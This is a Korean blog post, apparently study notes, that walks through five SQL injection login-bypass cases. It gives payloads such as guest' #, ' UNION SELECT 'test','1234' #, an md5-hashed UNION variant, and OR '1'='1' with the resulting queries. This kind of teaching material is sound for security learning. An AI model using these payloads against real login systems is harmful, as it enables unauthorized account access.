본문 바로가기
해킹/SQL Injection

로그인 Case 별 SQL Injection

by 매이나 2022. 10. 26.

1. 인증과 식별 동시에 처리

- Id에 guest' # 을 넣고 pass에 1234를 넣어서 우회한다.

SELECT id,pass FROM user WHERE id = 'guest' #' AND pass = '1234'

위 구문을 삽입해서 #이하의 부분이 주석처리 된다. 그러면서 DB에 guest라는 아이디가 있으면 로그인에 성공하게 된다.

 

2. 인증과 식별 분리해서 처리

- Id에 ' UNION SELECT 'test','1234' # 을 넣어서 인증을 우회한다.

SELECT id,pass FROM user WHERE id = '' UNION SELECT 'test','1234' #'

 

UNION을 삽임함으로써 다음과 같은 결과가 나온다.

id pass
test 1234

이유를 보자면 id 부분에 아무것도 안들어가서 user에서 아무 정보도 찾지 못한다.

하지만 UNION의 SELECT 부분에서 test와 1234를 집어넘으로써 결국 test와 1234만 반환되게 된다.

 

3. 인증과 식별 동시에 처리 (with Hash)

- Id에 guest' # 을 넣고 pass에 1234를 넣어서 우회한다.

SELECT id,pass FROM user WHERE id = 'guest' #' AND pass = md5('1234')

#을 넣어서 pass 부분을 다 생략하기에 1번 과정과 똑같다.

 

4. 인증과 식별 분리해서 처리 (with Hash)

- Id에 ' UNION SELECT 'test', md5('1234') # 을 넣어서 인증을 우회한다.

SELECT id,pass FROM user WHERE id = '' UNION SELECT 'test',md5('1234') #'

UNION을 삽임함으로써 다음과 같은 결과가 나온다.

id pass
test 해시된 1234

위의 3번과 같지만 인증을 할때 Hash된 비밀번호로 같은지 확인하여 인증하기 때문에 그에 맞춰 UNION에 넣을 1234을 md5함수에 넣어 해시화 시킨다.

 

5. 인증과 식별 동시에 처리 (with 개행)

- Id에 guest' or '1' = '1 을 넣고 pass에 1234를 넣어서 우회한다.

SELECT id,pass FROM user WHERE id = 'guest' or '1' = '1' 
\n AND pass = '1234'

개행을 넣게 되면 #을 넣어서 뒤를 주석처리한는 것이 불가능해진다.

그래서 SQL에서 Or연산자보다 And연산자가 먼저 실행된다는 점을 이용해서 '1' = '1' AND pass = '1234'가 먼저 실행되고

결국에는 WHERE id = 'guest' or False가 되어서 id에 guest가 존재하면 인증에 성공하게 된다.

 

 

 

 

'해킹 > SQL Injection' 카테고리의 다른 글

Lord of SQLInjection 2번(cobolt) 문제  (0) 2022.10.29
Lord of SQLInjection 1번(gremlin) 문제  (0) 2022.10.25

댓글